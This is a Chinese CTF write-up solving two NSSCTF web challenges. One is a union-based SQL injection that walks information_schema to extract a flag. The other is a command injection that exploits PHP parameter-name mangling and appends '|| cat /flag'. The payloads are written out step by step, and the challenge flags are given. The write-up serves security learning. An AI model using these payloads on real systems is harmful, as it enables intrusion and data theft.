NSSCTF-Web題目19(數據庫注入、文件上傳、php非法傳參)

目錄

[LitCTF 2023]這是什么?SQL !注一下 !

1、題目

2、知識點

3、思路

[SWPUCTF 2023 秋季新生賽]Pingpingping

4、題目

5、知識點

6、思路


[LitCTF 2023]這是什么?SQL !注一下 !

1、題目

2、知識點

數據庫注入,聯合查詢

3、思路

首先,題目有提示我們參數為id,而且告訴我們閉合方式

先正常輸入看看回顯

加上閉合方式,?id=1))))))

結果沒有回顯,加上注釋符

?id=1))))))--+

結果有正常回顯,說明當前的閉合方式是正確的

使用聯合查詢語句 union select?

?id=1)))))) union select 1,2--+

這里有兩個回顯位置

1、接下來判斷庫名

?id=1)))))) union select 1,database()--+

得到當前的庫名為ctf

2、判斷表名,這里要用到group_concat函數,下面會用到concat_ws 或者concat函數,在這里一起說明

group_concat:將group by產生的同一個分組中的值連接起來,返回一個字符串結果,也就是將你要查詢的那一列數據展示出來

concat:用于連接字符串的,concat(str1,'分隔符',str2,'分隔符',str3,...)

返回的結果為參數的結果并帶有分隔符,

concat_ws:用于連接字符串的,concat('分隔符',str1,str2,str3,...)

這個函數的作用跟上面的concat一樣,只不過這個函數可以提前定義好分隔符,不用每個變量后帶'分隔符'

判斷表名

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctf' --+

這里的表只有一個,users

3、判斷字段名

?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='users' --+

得到三個字段:id,username,password

4、判斷值,看看有沒有flag

得到所有的信息,發現flag是假的

現在的情況說明flag藏在其他庫的表里

那怎么查看其他庫名呢?

information_schema這個庫就存了所有數據庫的信息,里面的SCHEMATA表就存了所有庫名

5、查找所有庫名

?id=1)))))) union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA --+

接下來就是找庫里的表,然后字段名、然后值,步驟跟上面一下

flag藏在ctftraining這個庫里

?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

得到表名:flag,news,users

語句跟上面的類似,也就改一下值,有哪里不懂的歡迎來問我,我這里直接到最后一步

下面三句都可以得到flag?

?id=1)))))) union select 1,concat(flag) from ctftraining.flag --+

?id=1)))))) union select 1,concat_ws(',',flag) from ctftraining.flag --+

?id=1)))))) union select 1,flag?from ctftraining.flag --+

得到flag:NSSCTF{76a62524-3666-4478-bf2e-3b231f43fbba}


[SWPUCTF 2023 秋季新生賽]Pingpingping

4、題目

5、知識點

RCE、PHP非法傳參

6、思路

這里要我們上傳Ping_ip.exe的值,上傳后會執行系統命令,ping

1、我們先正常上傳看看

結果沒有任何反應

抓個包看看

在響應包里我們知道了php的版本為:PHP/7.4.33

這里涉及了一個知識點:php的非法傳參:當變量名中出現空格時將被轉換為下劃線,當PHP版本小于8時,如果參數中出現中括號[,中括號會背轉換成下劃線_,但是中括號后的非法字符(也就是點和空格)不會被轉化為下劃線_

即原來我們的參數?Ping_ip.exe 上傳后會被轉化為?Ping_ip_exe

所以才沒有結果,現在我們把_改成[ ,[會被轉換成_,但后面的點就不會了

Ping[ip.exe ——>?Ping_ip.exe

下面的報錯信息沒有了,說明我們成功執行了系統命令

接下來我們使用 管道符(||)?進行拼接命令

“||” 是一個管道操作符,它用于在命令行中執行多個命令,當前一個命令執行成功時,才會執行后一個命令。

?Ping[ip.exe=127.0.0.1 || ls /

?Ping[ip.exe=127.0.0.1 || cat /flag

得到flag:NSSCTF{9f2fdc0f-5bf4-455b-b211-1eebc2f0914e}


這篇文章就先寫到這里了,哪里不懂的或者哪里不足的歡迎指出

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/38234.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/38234.shtml
英文地址,請注明出處:http://en.pswp.cn/web/38234.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于Vue的MOBA類游戲攻略分享平臺

你好呀,我是計算機學姐碼農小野!如果有相關需求,可以私信聯系我。 開發語言:Java 數據庫:MySQL 技術:Java技術、SpringBoot框架、B/S模式、Vue.js 工具:MyEclipse、MySQL 系統展示 首頁 用…

在 Windows 上,使用 icacls 命令讓apache 用戶有權訪問

調試免費云服務器,三豐云,用戶權限過程。 在 Windows 上,icacls 命令是一個非常強大的工具,用于修改文件和目錄的權限。然而,需要注意的是,Windows 默認的 Web 服務器(如 IIS)通常運…

lstrip()方法——截掉字符串左邊的空格或指定的字符

自學python如何成為大佬(目錄):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 語法參考 lstrip()方法用于截掉字符串左邊的空格或指定的字符。lstrip()方法的語法格式如下: str.lstrip([chars]) 參數說明&#xff…

【算法】Merge Sort 合并排序

Merge Sort概述 分而治之算法 遞歸地將問題分解為多個子問題,直到它們變得簡單易解 將解決方案組合起來,解決原有問題 O(n*log(n))運行時間 基于比較的算法的最佳運行時間 一般原則 合并排序: 1. 將數…

elasticsearch鏡像化安裝部署

1、鏡像安裝 docker network create --driver bridge --subnet192.128.0.0/10 --gateway192.128.1.1 mynetwork docker run -d --netmynetwork --ip192.128.10.1 -p 1000:22 --name redhat-es01 -it c70d72aaebb4 /bin/bash #拉取鏡像 docker pull elasticsearch:7.7.0 #啟動…

【瞎折騰日常】服務器的cpu飆高到1000%了怎么破

一、故障起因 起因是用戶反饋系統很卡,我登錄普羅米修斯一看,發現docker部署得集群下的一個java應用服務器cpu爆了,直接沖到了1000%以上了,接著就是各種接口超時報警等,趕緊打開對應的服務器查看進程情況,這會使用jstack和top命令定位哪個線程占用的cpu比較大,定位代碼問…

橢流線法設計配光器

橢流線法設計配光器 一、設計原理 1、邊光原理 邊光原理是非成像光學中的一個基礎原理,其內容可以表述為:來自光源邊緣的光線經過若干有序正則光學曲面后依然落在投射光斑的邊緣,而來自光源內部的光線也將落在光斑內部。這里的邊緣包含兩層…

PyTorch(七)模型的保存與加載

#d 兩種保存方式比較 僅保存模型參數 優點: 更加靈活,只保存模型的參數,不保存模型的結構,可以在不同的模型結構中加載參數(只要參數匹配)。文件大小通常比保存整個模型小。安全性更高,因為不直接執行pic…

機械拆裝-基于Unity-總體設計

前言 在工業設計和制造領域,零部件的拆裝技術是一個重要的應用場景,比如我們在工程訓練課程中經歷的摩托車發動機拆裝課程,是機械類學生的必修課程。虛擬拆裝系統模擬和仿真了模型的拆裝過程,雖然SolidWorks等機械設計軟件能夠解決…

性能調優 性能監控

1.影響性能考慮點包括: 數據庫、應用程序、中間件(tomcat、nginx)、網絡和操作系統等方面。 首先考慮自己的應用屬于 CPU密集型 還是 IO密集型 cpu密集型 計算,排序,分組查詢,各種算法 IO密集型 網絡傳輸,磁盤讀…

大創項目推薦 題目:基于機器視覺opencv的手勢檢測 手勢識別 算法 - 深度學習 卷積神經網絡 opencv python

文章目錄 1 簡介2 傳統機器視覺的手勢檢測2.1 輪廓檢測法2.2 算法結果2.3 整體代碼實現2.3.1 算法流程 3 深度學習方法做手勢識別3.1 經典的卷積神經網絡3.2 YOLO系列3.3 SSD3.4 實現步驟3.4.1 數據集3.4.2 圖像預處理3.4.3 構建卷積神經網絡結構3.4.4 實驗訓練過程及結果 3.5 …

zabbix報警機制,主動監控

zabbix思路流程 主動監控 默認zabbix使用的是被動監控,主被動監控都是針對被監控主機而言的。被動監控:Server向Agent發起請求,索取監控數據。此種模式常用主動監控:Agent向Server發起連接,向Server匯報 配置web2使用…

STM32智能家居掌上屏實戰:從WiFi連接到MQTT通信,打造你的家庭物聯網網關

摘要: 本文深入探討一種基于STM32的智能家居掌上屏設計方案,詳細闡述其硬件架構、軟件設計以及通信協議等關鍵技術細節。該方案利用WiFi構建局域網,實現與各類傳感器、執行器的便捷交互,并通過TFT彩屏提供直觀的控制和數據展示,旨…

[數據庫原理]事務

如有錯誤,歡迎指正!!! 期末考了沖突可串行化

動態順序表實現通訊錄

系列文章目錄 【數據結構】順序表 文章目錄 系列文章目錄前言一、通訊錄的功能要求二、通訊錄的代碼實現1. 新建文件2. 創建通訊錄的結構體3. 對順序表文件進行修改4. 通訊錄具體功能實現4.1. 通訊錄的初始化和銷毀4.2. 增加聯系人信息(尾插)4.3. 查找指…

SpringBoot + 虛擬線程,性能炸裂!

一、什么是虛擬線程 虛擬線程是Java19開始增加的一個特性,和Golang的攜程類似,一個其它語言早就提供的、且如此實用且好用的功能,作為一個Java開發者,早就已經望眼欲穿了。 二、虛擬線程和普通線程的區別 “虛擬”線程&#xf…

一些硬件知識(十二)

X電容是接在火線和零線之間,Y電容是接在火零線和地之間。X電容濾除差模干擾,Y電容濾除共模干擾: 高頻干擾信號經過X電容后幅度沒有變化,相位相差180度: DW01電池管理芯片: M1、M2:這兩個為N溝道…

【關于C/C++中的scanf不能使用問題】

方法1:scanf_s 方法2:看見后面的日志了嗎 CRT……?在第一行加上#define 日志 方法3:#pragma warning(disable:4996) 4996是我們的報錯序號

開發筆記:vue3+ts+vant 卡片數據分頁,下拉加載,卡片左滑可刪除

效果: 實現 使用vantui組件 van-swipe-cell van-card (商品卡片) 核心代碼 const currentPage ref(1) const pageSize ref(4) const totalSize ref(10) const loading ref(false) const finished ref(false) const refreshing ref(…

Git新倉庫創建流程

平時需要創建新倉庫,老要去查代碼特別煩,在此寫下流程方便備用. 1.創建新的云倉庫 無論使用GitHub還是Gitee,首先要創建一個云倉庫,這里就直接用國內的gitee做演示了,githup老掛加速器太煩,偷個懶. 我這里創建的是一個空倉庫&…